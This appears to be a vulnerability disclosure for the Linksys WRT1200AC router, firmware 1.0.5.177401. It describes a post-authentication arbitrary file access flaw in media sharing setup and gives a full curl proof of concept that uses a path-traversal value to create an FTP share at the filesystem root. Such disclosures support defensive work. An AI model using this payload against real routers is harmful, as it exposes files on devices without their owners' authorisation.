Linksys WRT1200AC

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Linksys WRT1200AC

Built on the foundation of our original WRT's open-source heritage, the Linksys WRT1200AC delivers superior network performance for the most demanding users. The WRT1200AC features two external antennas, a powerful 1.3GHz dual-core ARM, and Wireless-AC to provide high-speed Wi-Fi connections with exceptional range.

Purchase

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Post Authentication Arbitrary File Access

Arbitrary file access due to improper sanitization of path field in media sharing setup.

POC

​ Firmware Version: 1.0.5.177401

The following curl command is a Proof of Concept which demonstrates creating a file share at /.

curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json; charset=UTF-8' -H 'X-JNAP-Action: http://linksys.com/jnap/storage/CreateFTPFolder' \
-H 'Expires: Fri, 10 Oct 2013 14:19:41 GMT' -H 'X-JNAP-Authorization: Basic <BASE64 CREDS>' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Referer: http://192.168.1.1/ui/1.0.99.177401/dynamic/home.html' \
-b 'initial-tab=; visited-index=true; ui-language=en-US; modelNumber=WRT1200AC; smartmap-filter-values=computer%2Cmobile%2Cprinter%2Cother%2Clan%2CwirelessTwo%2CwirelessFive%2CwirelessFive-2; smartmap-filter-set=online-network; admin-auth=Basic%20<BASE64 CREDS>; current-applet=A2DB16C0-59B9-4C79-9BF2-E5A3A307F9C1' \
--data-binary $'{\"name\":\"HAXHAXHAX\",\"partitionName\":\"/dev/sda1\",\"path\":\"/../../../../../../\",\"isReadOnly\":false,\"groupsWithPermission\":[\"testuser\",\"admin\"]}' \
'http://192.168.1.1/JNAP/'